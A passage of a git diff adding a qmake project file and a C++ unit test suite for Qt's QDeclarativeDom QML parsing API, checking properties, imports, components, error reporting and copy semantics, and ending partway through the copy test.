--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedom/qdeclarativedom.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativedom.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp
new file mode 100644
index 00000000..14f1fb50
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp
@@ -0,0 +1,1326 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/private/qdeclarativedom_p.h>
+
+#include <QtCore/QDebug>
+#include <QtCore/QFile>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativedom : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativedom() {}
+
+private slots:
+ void loadSimple();
+ void loadProperties();
+ void loadGroupedProperties();
+ void loadChildObject();
+ void loadComposite();
+ void loadImports();
+ void loadErrors();
+ void loadSyntaxErrors();
+ void loadRemoteErrors();
+ void loadDynamicProperty();
+ void loadComponent();
+
+ void testValueSource();
+ void testValueInterceptor();
+
+ void object_dynamicProperty();
+ void object_property();
+ void object_url();
+
+ void copy();
+ void position();
+private:
+ QDeclarativeEngine engine;
+};
+
+
+void tst_qdeclarativedom::loadSimple()
+{
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item {}";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+ QVERIFY(document.errors().isEmpty());
+
+ QDeclarativeDomObject rootObject = document.rootObject();
+ QVERIFY(rootObject.isValid());
+ QVERIFY(!rootObject.isComponent());
+ QVERIFY(!rootObject.isCustomType());
+ QVERIFY(rootObject.objectType() == "QtQuick/Item");
+ QVERIFY(rootObject.objectTypeMajorVersion() == 1);
+ QVERIFY(rootObject.objectTypeMinorVersion() == 0);
+}
+
+// Test regular properties
+void tst_qdeclarativedom::loadProperties()
+{
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item { id : item; x : 300; visible : true }";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootObject = document.rootObject();
+ QVERIFY(rootObject.isValid());
+ QVERIFY(rootObject.objectId() == "item");
+ QCOMPARE(rootObject.properties().size(), 3);
+
+ QDeclarativeDomProperty xProperty = rootObject.property("x");
+ QVERIFY(xProperty.propertyName() == "x");
+ QCOMPARE(xProperty.propertyNameParts().count(), 1);
+ QVERIFY(xProperty.propertyNameParts().at(0) == "x");
+ QCOMPARE(xProperty.position(), 37);
+ QCOMPARE(xProperty.length(), 1);
+ QVERIFY(xProperty.value().isLiteral());
+ QVERIFY(xProperty.value().toLiteral().literal() == "300");
+
+ QDeclarativeDomProperty visibleProperty = rootObject.property("visible");
+ QVERIFY(visibleProperty.propertyName() == "visible");
+ QCOMPARE(visibleProperty.propertyNameParts().count(), 1);
+ QVERIFY(visibleProperty.propertyNameParts().at(0) == "visible");
+ QCOMPARE(visibleProperty.position(), 46);
+ QCOMPARE(visibleProperty.length(), 7);
+ QVERIFY(visibleProperty.value().isLiteral());
+ QVERIFY(visibleProperty.value().toLiteral().literal() == "true");
+}
+
+// Test grouped properties
+void tst_qdeclarativedom::loadGroupedProperties()
+{
+ {
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item { anchors.left: parent.left; anchors.right: parent.right }";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootItem = document.rootObject();
+ QVERIFY(rootItem.isValid());
+ QVERIFY(rootItem.properties().size() == 2);
+
+ // Order is not deterministic
+ QDeclarativeDomProperty p0 = rootItem.properties().at(0);
+ QDeclarativeDomProperty p1 = rootItem.properties().at(1);
+ QDeclarativeDomProperty leftProperty;
+ QDeclarativeDomProperty rightProperty;
+ if (p0.propertyName() == "anchors.left") {
+ leftProperty = p0;
+ rightProperty = p1;
+ } else {
+ leftProperty = p1;
+ rightProperty = p0;
+ }
+
+ QVERIFY(leftProperty.propertyName() == "anchors.left");
+ QCOMPARE(leftProperty.propertyNameParts().count(), 2);
+ QVERIFY(leftProperty.propertyNameParts().at(0) == "anchors");
+ QVERIFY(leftProperty.propertyNameParts().at(1) == "left");
+ QCOMPARE(leftProperty.position(), 26);
+ QCOMPARE(leftProperty.length(), 12);
+ QVERIFY(leftProperty.value().isBinding());
+ QVERIFY(leftProperty.value().toBinding().binding() == "parent.left");
+
+ QVERIFY(rightProperty.propertyName() == "anchors.right");
+ QCOMPARE(rightProperty.propertyNameParts().count(), 2);
+ QVERIFY(rightProperty.propertyNameParts().at(0) == "anchors");
+ QVERIFY(rightProperty.propertyNameParts().at(1) == "right");
+ QCOMPARE(rightProperty.position(), 53);
+ QCOMPARE(rightProperty.length(), 13);
+ QVERIFY(rightProperty.value().isBinding());
+ QVERIFY(rightProperty.value().toBinding().binding() == "parent.right");
+ }
+
+ {
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item { \n"
+ " anchors {\n"
+ " left: parent.left\n"
+ " right: parent.right\n"
+ " }\n"
+ "}";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootItem = document.rootObject();
+ QVERIFY(rootItem.isValid());
+ QVERIFY(rootItem.properties().size() == 2);
+
+ // Order is not deterministic
+ QDeclarativeDomProperty p0 = rootItem.properties().at(0);
+ QDeclarativeDomProperty p1 = rootItem.properties().at(1);
+ QDeclarativeDomProperty leftProperty;
+ QDeclarativeDomProperty rightProperty;
+ if (p0.propertyName() == "anchors.left") {
+ leftProperty = p0;
+ rightProperty = p1;
+ } else {
+ leftProperty = p1;
+ rightProperty = p0;
+ }
+
+ QVERIFY(leftProperty.propertyName() == "anchors.left");
+ QCOMPARE(leftProperty.propertyNameParts().count(), 2);
+ QVERIFY(leftProperty.propertyNameParts().at(0) == "anchors");
+ QVERIFY(leftProperty.propertyNameParts().at(1) == "left");
+ QCOMPARE(leftProperty.position(), 49);
+ QCOMPARE(leftProperty.length(), 4);
+ QVERIFY(leftProperty.value().isBinding());
+ QVERIFY(leftProperty.value().toBinding().binding() == "parent.left");
+
+ QVERIFY(rightProperty.propertyName() == "anchors.right");
+ QCOMPARE(rightProperty.propertyNameParts().count(), 2);
+ QVERIFY(rightProperty.propertyNameParts().at(0) == "anchors");
+ QVERIFY(rightProperty.propertyNameParts().at(1) == "right");
+ QCOMPARE(rightProperty.position(), 75);
+ QCOMPARE(rightProperty.length(), 5);
+ QVERIFY(rightProperty.value().isBinding());
+ QVERIFY(rightProperty.value().toBinding().binding() == "parent.right");
+ }
+
+}
+
+void tst_qdeclarativedom::loadChildObject()
+{
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item { Item {} }";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootItem = document.rootObject();
+ QVERIFY(rootItem.isValid());
+ QVERIFY(rootItem.properties().size() == 1);
+
+ QDeclarativeDomProperty listProperty = rootItem.properties().at(0);
+ QVERIFY(listProperty.isDefaultProperty());
+ QVERIFY(listProperty.value().isList());
+
+ QDeclarativeDomList list = listProperty.value().toList();
+ QVERIFY(list.values().size() == 1);
+
+ QDeclarativeDomObject childItem = list.values().first().toObject();
+ QVERIFY(childItem.isValid());
+ QVERIFY(childItem.objectType() == "QtQuick/Item");
+}
+
+void tst_qdeclarativedom::loadComposite()
+{
+ QFile file(SRCDIR "/data/top.qml");
+ QVERIFY(file.open(QIODevice::ReadOnly | QIODevice::Text));
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, file.readAll(), QUrl::fromLocalFile(file.fileName())));
+ QVERIFY(document.errors().isEmpty());
+
+ QDeclarativeDomObject rootItem = document.rootObject();
+ QVERIFY(rootItem.isValid());
+ QCOMPARE(rootItem.objectType(), QByteArray("MyComponent"));
+ QCOMPARE(rootItem.properties().size(), 2);
+
+ QDeclarativeDomProperty widthProperty = rootItem.property("width");
+ QVERIFY(widthProperty.value().isLiteral());
+
+ QDeclarativeDomProperty heightProperty = rootItem.property("height");
+ QVERIFY(heightProperty.value().isLiteral());
+}
+
+void tst_qdeclarativedom::testValueSource()
+{
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Rectangle { SpringAnimation on height { spring: 1.4; damping: .15; to: Math.min(Math.max(-130, value*2.2 - 130), 133); }}";
+
+ QDeclarativeEngine freshEngine;
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&freshEngine, qml));
+
+ QDeclarativeDomObject rootItem = document.rootObject();
+ QVERIFY(rootItem.isValid());
+ QDeclarativeDomProperty heightProperty = rootItem.properties().at(0);
+ QVERIFY(heightProperty.propertyName() == "height");
+ QVERIFY(heightProperty.value().isValueSource());
+
+ const QDeclarativeDomValueValueSource valueSource = heightProperty.value().toValueSource();
+ QDeclarativeDomObject valueSourceObject = valueSource.object();
+ QVERIFY(valueSourceObject.isValid());
+
+ QVERIFY(valueSourceObject.objectType() == "QtQuick/SpringAnimation");
+
+ const QDeclarativeDomValue springValue = valueSourceObject.property("spring").value();
+ QVERIFY(!springValue.isInvalid());
+ QVERIFY(springValue.isLiteral());
+ QVERIFY(springValue.toLiteral().literal() == "1.4");
+
+ const QDeclarativeDomValue sourceValue = valueSourceObject.property("to").value();
+ QVERIFY(!sourceValue.isInvalid());
+ QVERIFY(sourceValue.isBinding());
+ QVERIFY(sourceValue.toBinding().binding() == "Math.min(Math.max(-130, value*2.2 - 130), 133)");
+}
+
+void tst_qdeclarativedom::testValueInterceptor()
+{
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Rectangle { Behavior on height { NumberAnimation { duration: 100 } } }";
+
+ QDeclarativeEngine freshEngine;
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&freshEngine, qml));
+
+ QDeclarativeDomObject rootItem = document.rootObject();
+ QVERIFY(rootItem.isValid());
+ QDeclarativeDomProperty heightProperty = rootItem.properties().at(0);
+ QVERIFY(heightProperty.propertyName() == "height");
+ QVERIFY(heightProperty.value().isValueInterceptor());
+
+ const QDeclarativeDomValueValueInterceptor valueInterceptor = heightProperty.value().toValueInterceptor();
+ QDeclarativeDomObject valueInterceptorObject = valueInterceptor.object();
+ QVERIFY(valueInterceptorObject.isValid());
+
+ QVERIFY(valueInterceptorObject.objectType() == "QtQuick/Behavior");
+
+ const QDeclarativeDomValue animationValue = valueInterceptorObject.property("animation").value();
+ QVERIFY(!animationValue.isInvalid());
+ QVERIFY(animationValue.isObject());
+}
+
+// Test QDeclarativeDomDocument::imports()
+void tst_qdeclarativedom::loadImports()
+{
+ QByteArray qml = "import QtQuick 1.0\n"
+ "import importlib.sublib 1.1\n"
+ "import importlib.sublib 1.0 as NewFoo\n"
+ "import 'import'\n"
+ "import 'import' as X\n"
+ "Item {}";
+
+ QDeclarativeEngine engine;
+ engine.addImportPath(SRCDIR "/data");
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml, QUrl::fromLocalFile(SRCDIR "/data/dummy.qml")));
+
+ QCOMPARE(document.imports().size(), 5);
+
+ QDeclarativeDomImport import = document.imports().at(0);
+ QCOMPARE(import.type(), QDeclarativeDomImport::Library);
+ QCOMPARE(import.uri(), QLatin1String("QtQuick"));
+ QCOMPARE(import.qualifier(), QString());
+ QCOMPARE(import.version(), QLatin1String("1.0"));
+
+ import = document.imports().at(1);
+ QCOMPARE(import.type(), QDeclarativeDomImport::Library);
+ QCOMPARE(import.uri(), QLatin1String("importlib.sublib"));
+ QCOMPARE(import.qualifier(), QString());
+ QCOMPARE(import.version(), QLatin1String("1.1"));
+
+ import = document.imports().at(2);
+ QCOMPARE(import.type(), QDeclarativeDomImport::Library);
+ QCOMPARE(import.uri(), QLatin1String("importlib.sublib"));
+ QCOMPARE(import.qualifier(), QLatin1String("NewFoo"));
+ QCOMPARE(import.version(), QLatin1String("1.0"));
+
+ import = document.imports().at(3);
+ QCOMPARE(import.type(), QDeclarativeDomImport::File);
+ QCOMPARE(import.uri(), QLatin1String("import"));
+ QCOMPARE(import.qualifier(), QLatin1String(""));
+ QCOMPARE(import.version(), QLatin1String(""));
+
+ import = document.imports().at(4);
+ QCOMPARE(import.type(), QDeclarativeDomImport::File);
+ QCOMPARE(import.uri(), QLatin1String("import"));
+ QCOMPARE(import.qualifier(), QLatin1String("X"));
+ QCOMPARE(import.version(), QLatin1String(""));
+}
+
+// Test loading a file with errors
+void tst_qdeclarativedom::loadErrors()
+{
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item {\n"
+ " foo: 12\n"
+ "}";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(false == document.load(&engine, qml));
+
+ QCOMPARE(document.errors().count(), 1);
+ QDeclarativeError error = document.errors().first();
+
+ QCOMPARE(error.url(), QUrl());
+ QCOMPARE(error.line(), 3);
+ QCOMPARE(error.column(), 3);
+ QCOMPARE(error.description(), QString("Cannot assign to non-existent property \"foo\""));
+}
+
+// Test loading a file with syntax errors
+void tst_qdeclarativedom::loadSyntaxErrors()
+{
+ QByteArray qml = "import QtQuick 1.0\n"
+ "asdf";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(false == document.load(&engine, qml));
+
+ QCOMPARE(document.errors().count(), 1);
+ QDeclarativeError error = document.errors().first();
+
+ QCOMPARE(error.url(), QUrl());
+ QCOMPARE(error.line(), 2);
+ QCOMPARE(error.column(), 1);
+ QCOMPARE(error.description(), QString("Syntax error"));
+}
+
+// Test attempting to load a file with remote references
+void tst_qdeclarativedom::loadRemoteErrors()
+{
+ QByteArray qml = "import QtQuick 1.0\n"
+ "import \"http://localhost/exampleQmlScript.js\" as Script\n"
+ "Item {\n"
+ "}";
+ QDeclarativeDomDocument document;
+ QVERIFY(false == document.load(&engine, qml));
+
+ QCOMPARE(document.errors().count(), 1);
+ QDeclarativeError error = document.errors().first();
+
+ QCOMPARE(error.url(), QUrl());
+ QCOMPARE(error.line(), -1);
+ QCOMPARE(error.column(), -1);
+ QCOMPARE(error.description(), QString("QDeclarativeDomDocument supports local types only"));
+}
+
+// Test dynamic property declarations
+void tst_qdeclarativedom::loadDynamicProperty()
+{
+ {
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item {\n"
+ " property int a\n"
+ " property bool b\n"
+ " property double c\n"
+ " property real d\n"
+ " property string e\n"
+ " property url f\n"
+ " property color g\n"
+ " property date h\n"
+ " property variant i\n"
+ " property QtObject j\n"
+ "}";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootObject = document.rootObject();
+ QVERIFY(rootObject.isValid());
+
+ QCOMPARE(rootObject.dynamicProperties().count(), 10);
+
+#define DP_TEST(index, name, type, test_position, test_length, propTypeName) \
+ { \
+ QDeclarativeDomDynamicProperty d = rootObject.dynamicProperties().at(index); \
+ QVERIFY(d.isValid()); \
+ QVERIFY(d.propertyName() == # name ); \
+ QVERIFY(d.propertyType() == type); \
+ QVERIFY(d.propertyTypeName() == propTypeName); \
+ QVERIFY(d.isDefaultProperty() == false); \
+ QVERIFY(d.defaultValue().isValid() == false); \
+ QCOMPARE(d.position(), test_position); \
+ QCOMPARE(d.length(), test_length); \
+ } \
+
+ DP_TEST(0, a, QVariant::Int, 30, 14, "int");
+ DP_TEST(1, b, QVariant::Bool, 49, 15, "bool");
+ DP_TEST(2, c, QMetaType::QReal, 69, 17, "double");
+ DP_TEST(3, d, QMetaType::QReal, 91, 15, "real");
+ DP_TEST(4, e, QVariant::String, 111, 17, "string");
+ DP_TEST(5, f, QVariant::Url, 133, 14, "url");
+ DP_TEST(6, g, QVariant::Color, 152, 16, "color");
+ DP_TEST(7, h, QVariant::DateTime, 173, 15, "date");
+ DP_TEST(8, i, qMetaTypeId<QVariant>(), 193, 18, "variant");
+ DP_TEST(9, j, -1, 216, 19, "QtObject");
+ }
+
+ {
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item {\n"
+ " id: item\n"
+ " property int a: 12\n"
+ " property int b: a + 6\n"
+ " default property QtObject c\n"
+ " property alias d: item.a\n"
+ "}\n";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootObject = document.rootObject();
+ QVERIFY(rootObject.isValid());
+
+ QCOMPARE(rootObject.dynamicProperties().count(), 4);
+
+ {
+ QDeclarativeDomDynamicProperty d = rootObject.dynamicProperties().at(0);
+ QVERIFY(d.isDefaultProperty() == false);
+ QVERIFY(d.isAlias() == false);
+ QVERIFY(d.defaultValue().isValid());
+ QVERIFY(d.defaultValue().propertyName() == "a");
+ QVERIFY(d.defaultValue().value().isLiteral());
+ }
+
+ {
+ QDeclarativeDomDynamicProperty d = rootObject.dynamicProperties().at(1);
+ QVERIFY(d.isDefaultProperty() == false);
+ QVERIFY(d.isAlias() == false);
+ QVERIFY(d.defaultValue().isValid());
+ QVERIFY(d.defaultValue().propertyName() == "b");
+ QVERIFY(d.defaultValue().value().isBinding());
+ }
+
+ {
+ QDeclarativeDomDynamicProperty d = rootObject.dynamicProperties().at(2);
+ QVERIFY(d.isDefaultProperty() == true);
+ QVERIFY(d.isAlias() == false);
+ QVERIFY(d.defaultValue().isValid() == false);
+ }
+
+ {
+ QDeclarativeDomDynamicProperty d = rootObject.dynamicProperties().at(3);
+ QVERIFY(d.isDefaultProperty() == false);
+ QVERIFY(d.isAlias() == true);
+ }
+ }
+}
+
+// Test inline components
+void tst_qdeclarativedom::loadComponent()
+{
+ // Explicit component
+ {
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item {\n"
+ " Component {\n"
+ " id: myComponent\n"
+ " Item {}\n"
+ " }\n"
+ "}";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootItem = document.rootObject();
+ QVERIFY(rootItem.isValid());
+ QVERIFY(rootItem.properties().size() == 1);
+
+ QDeclarativeDomProperty listProperty = rootItem.properties().at(0);
+ QVERIFY(listProperty.isDefaultProperty());
+ QVERIFY(listProperty.value().isList());
+
+ QDeclarativeDomList list = listProperty.value().toList();
+ QVERIFY(list.values().size() == 1);
+
+ QDeclarativeDomObject componentObject = list.values().first().toObject();
+ QVERIFY(componentObject.isValid());
+ QVERIFY(componentObject.objectClassName() == "Component");
+ QVERIFY(componentObject.isComponent());
+
+ QDeclarativeDomComponent component = componentObject.toComponent();
+ QVERIFY(component.isValid());
+ QVERIFY(component.objectType() == "QtQuick/Component");
+ QVERIFY(component.objectTypeMajorVersion() == 1);
+ QVERIFY(component.objectTypeMinorVersion() == 0);
+ QVERIFY(component.objectClassName() == "Component");
+ QVERIFY(component.objectId() == "myComponent");
+ QVERIFY(component.properties().isEmpty());
+ QVERIFY(component.dynamicProperties().isEmpty());
+ QVERIFY(component.isCustomType() == false);
+ QVERIFY(component.customTypeData() == "");
+ QVERIFY(component.isComponent());
+ QCOMPARE(component.position(), 30);
+ QCOMPARE(component.length(), 57);
+
+ QVERIFY(component.componentRoot().isValid());
+ QVERIFY(component.componentRoot().objectClassName() == "Item");
+ }
+
+ // Implicit component
+ {
+ QByteArray qml = "import QtQuick 1.0\n"
+ "ListView {\n"
+ " delegate: Item {}\n"
+ "}";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootItem = document.rootObject();
+ QVERIFY(rootItem.isValid());
+ QVERIFY(rootItem.properties().size() == 1);
+
+ QDeclarativeDomProperty delegate = rootItem.property("delegate");
+
+ QDeclarativeDomObject componentObject = delegate.value().toObject();
+ QVERIFY(componentObject.isValid());
+ QVERIFY(componentObject.objectClassName() == "Component");
+ QVERIFY(componentObject.isComponent());
+
+ QDeclarativeDomComponent component = componentObject.toComponent();
+ QVERIFY(component.isValid());
+ QVERIFY(component.objectType() == "QtQuick/Component");
+ QVERIFY(component.objectClassName() == "Component");
+ QVERIFY(component.objectId() == "");
+ QVERIFY(component.properties().isEmpty());
+ QVERIFY(component.dynamicProperties().isEmpty());
+ QVERIFY(component.isCustomType() == false);
+ QVERIFY(component.customTypeData() == "");
+ QVERIFY(component.isComponent());
+ QCOMPARE(component.position(), 44);
+ QCOMPARE(component.length(), 7);
+
+ QVERIFY(component.componentRoot().isValid());
+ QVERIFY(component.componentRoot().objectClassName() == "Item");
+ }
+}
+
+// Test QDeclarativeDomObject::dynamicProperty() method
+void tst_qdeclarativedom::object_dynamicProperty()
+{
+ // Invalid object
+ {
+ QDeclarativeDomObject object;
+ QVERIFY(object.dynamicProperty("").isValid() == false);
+ QVERIFY(object.dynamicProperty("foo").isValid() == false);
+ }
+
+
+ // Valid object, no dynamic properties
+ {
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item {}";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootObject = document.rootObject();
+ QVERIFY(rootObject.isValid());
+
+ QVERIFY(rootObject.dynamicProperty("").isValid() == false);
+ QVERIFY(rootObject.dynamicProperty("foo").isValid() == false);
+ }
+
+ // Valid object, dynamic properties
+ {
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item {\n"
+ " property int a\n"
+ "}";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootObject = document.rootObject();
+ QVERIFY(rootObject.isValid());
+
+ QVERIFY(rootObject.dynamicProperty("").isValid() == false);
+ QVERIFY(rootObject.dynamicProperty("foo").isValid() == false);
+
+ QDeclarativeDomDynamicProperty p = rootObject.dynamicProperty("a");
+ QVERIFY(p.isValid());
+ QVERIFY(p.propertyName() == "a");
+ QVERIFY(p.propertyType() == QVariant::Int);
+ QVERIFY(p.propertyTypeName() == "int");
+ QVERIFY(p.isDefaultProperty() == false);
+ QCOMPARE(p.position(), 30);
+ QCOMPARE(p.length(), 14);
+ }
+
+}
+
+// Test QDeclarativeObject::property() method
+void tst_qdeclarativedom::object_property()
+{
+ // Invalid object
+ {
+ QDeclarativeDomObject object;
+ QVERIFY(object.property("").isValid() == false);
+ QVERIFY(object.property("foo").isValid() == false);
+ }
+
+ // Valid object - no default
+ {
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item {\n"
+ " x: 10\n"
+ " y: 12\n"
+ "}\n";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootObject = document.rootObject();
+ QVERIFY(rootObject.isValid());
+
+ QVERIFY(rootObject.property("").isValid() == false);
+ QVERIFY(rootObject.property("foo").isValid() == false);
+
+ QDeclarativeDomProperty x = rootObject.property("x");
+ QVERIFY(x.isValid());
+ QVERIFY(x.propertyName() == "x");
+ QVERIFY(x.propertyNameParts().count() == 1);
+ QVERIFY(x.propertyNameParts().at(0) == "x");
+ QVERIFY(x.isDefaultProperty() == false);
+ QVERIFY(x.value().isLiteral());
+ QVERIFY(x.value().toLiteral().literal() == "10");
+ QCOMPARE(x.position(), 30);
+ QCOMPARE(x.length(), 1);
+
+ QDeclarativeDomProperty y = rootObject.property("y");
+ QVERIFY(y.isValid());
+ QVERIFY(y.propertyName() == "y");
+ QVERIFY(y.propertyNameParts().count() == 1);
+ QVERIFY(y.propertyNameParts().at(0) == "y");
+ QVERIFY(y.isDefaultProperty() == false);
+ QVERIFY(y.value().isLiteral());
+ QVERIFY(y.value().toLiteral().literal() == "12");
+ QCOMPARE(y.position(), 40);
+ QCOMPARE(y.length(), 1);
+ }
+
+ // Valid object - with default
+ {
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item {\n"
+ " x: 10\n"
+ " y: 12\n"
+ " Item {}\n"
+ "}\n";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootObject = document.rootObject();
+ QVERIFY(rootObject.isValid());
+
+ QVERIFY(rootObject.property("").isValid() == false);
+ QVERIFY(rootObject.property("foo").isValid() == false);
+
+ QDeclarativeDomProperty x = rootObject.property("x");
+ QVERIFY(x.isValid());
+ QVERIFY(x.propertyName() == "x");
+ QVERIFY(x.propertyNameParts().count() == 1);
+ QVERIFY(x.propertyNameParts().at(0) == "x");
+ QVERIFY(x.isDefaultProperty() == false);
+ QVERIFY(x.value().isLiteral());
+ QVERIFY(x.value().toLiteral().literal() == "10");
+ QCOMPARE(x.position(), 30);
+ QCOMPARE(x.length(), 1);
+
+ QDeclarativeDomProperty y = rootObject.property("y");
+ QVERIFY(y.isValid());
+ QVERIFY(y.propertyName() == "y");
+ QVERIFY(y.propertyNameParts().count() == 1);
+ QVERIFY(y.propertyNameParts().at(0) == "y");
+ QVERIFY(y.isDefaultProperty() == false);
+ QVERIFY(y.value().isLiteral());
+ QVERIFY(y.value().toLiteral().literal() == "12");
+ QCOMPARE(y.position(), 40);
+ QCOMPARE(y.length(), 1);
+
+ QDeclarativeDomProperty data = rootObject.property("data");
+ QVERIFY(data.isValid());
+ QVERIFY(data.propertyName() == "data");
+ QVERIFY(data.propertyNameParts().count() == 1);
+ QVERIFY(data.propertyNameParts().at(0) == "data");
+ QVERIFY(data.isDefaultProperty() == true);
+ QVERIFY(data.value().isList());
+ QCOMPARE(data.position(), 50);
+ QCOMPARE(data.length(), 0);
+ }
+}
+
+// Tests the QDeclarativeDomObject::url() method
+void tst_qdeclarativedom::object_url()
+{
+ // Invalid object
+ {
+ QDeclarativeDomObject object;
+ QCOMPARE(object.url(), QUrl());
+ }
+
+ // Valid builtin object
+ {
+ QByteArray qml = "import QtQuick 1.0\n"
+ "Item {}";
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml));
+
+ QDeclarativeDomObject rootObject = document.rootObject();
+ QVERIFY(rootObject.isValid());
+ QCOMPARE(rootObject.url(), QUrl());
+ }
+
+ // Valid composite object
+ {
+ QByteArray qml = "import QtQuick 1.0\n"
+ "MyItem {}";
+
+ QUrl myUrl = QUrl::fromLocalFile(SRCDIR "/data/main.qml");
+ QUrl subUrl = QUrl::fromLocalFile(SRCDIR "/data/MyItem.qml");
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml, myUrl));
+
+ QDeclarativeDomObject rootObject = document.rootObject();
+ QVERIFY(rootObject.isValid());
+ QCOMPARE(rootObject.url(), subUrl);
+ }
+}
+
+// Test copy constructors and operators
+void tst_qdeclarativedom::copy()
+{
+ QByteArray qml = "import QtQuick 1.0\n"
+ "MyItem {\n"
+ " id: myItem\n"
+ " property int a: 10\n"
+ " x: 10\n"
+ " y: x + 10\n"
+ " NumberAnimation on z {}\n"
+ " Behavior on opacity {}\n"
+ " Component {\n"
+ " Item{}\n"
+ " }\n"
+ " children: [ Item{}, Item{} ]\n"
+ "}\n";
+
+ QUrl myUrl = QUrl::fromLocalFile(SRCDIR "/data/main.qml");
+
+ QDeclarativeDomDocument document;
+ QVERIFY(document.load(&engine, qml, myUrl));
+
+ // QDeclarativeDomDocument
+ {
+ QDeclarativeDomDocument document2(document);
+ QDeclarativeDomDocument document3;
+ document3 = document;
+
+ QCOMPARE(document.imports().count(), document2.imports().count());
+ QCOMPARE(document.errors().count(), document2.errors().count());
+ QCOMPARE(document.rootObject().objectClassName(), document2.rootObject().objectClassName());
+
+ QCOMPARE(document.imports().count(), document3.imports().count());
+ QCOMPARE(document.errors().count(), document3.errors().count());
+ QCOMPARE(document.rootObject().objectClassName(), document3.rootObject().objectClassName());
+ }
+
+ // QDeclarativeDomImport
+ {
+ QCOMPARE(document.imports().count(), 1);
+ QDeclarativeDomImport import = document.imports().at(0);
+
+ QDeclarativeDomImport import2(import);
+ QDeclarativeDomImport import3;
+ import3 = import2;
+
+ QCOMPARE(import.type(), import2.type());
+ QCOMPARE(import.uri(), import2.uri());
+ QCOMPARE(import.version(), import2.version());
+ QCOMPARE(import.qualifier(), import2.qualifier());
+
+ QCOMPARE(import.type(), import3.type());
+ QCOMPARE(import.uri(), import3.uri());
+ QCOMPARE(import.version(), import3.version());
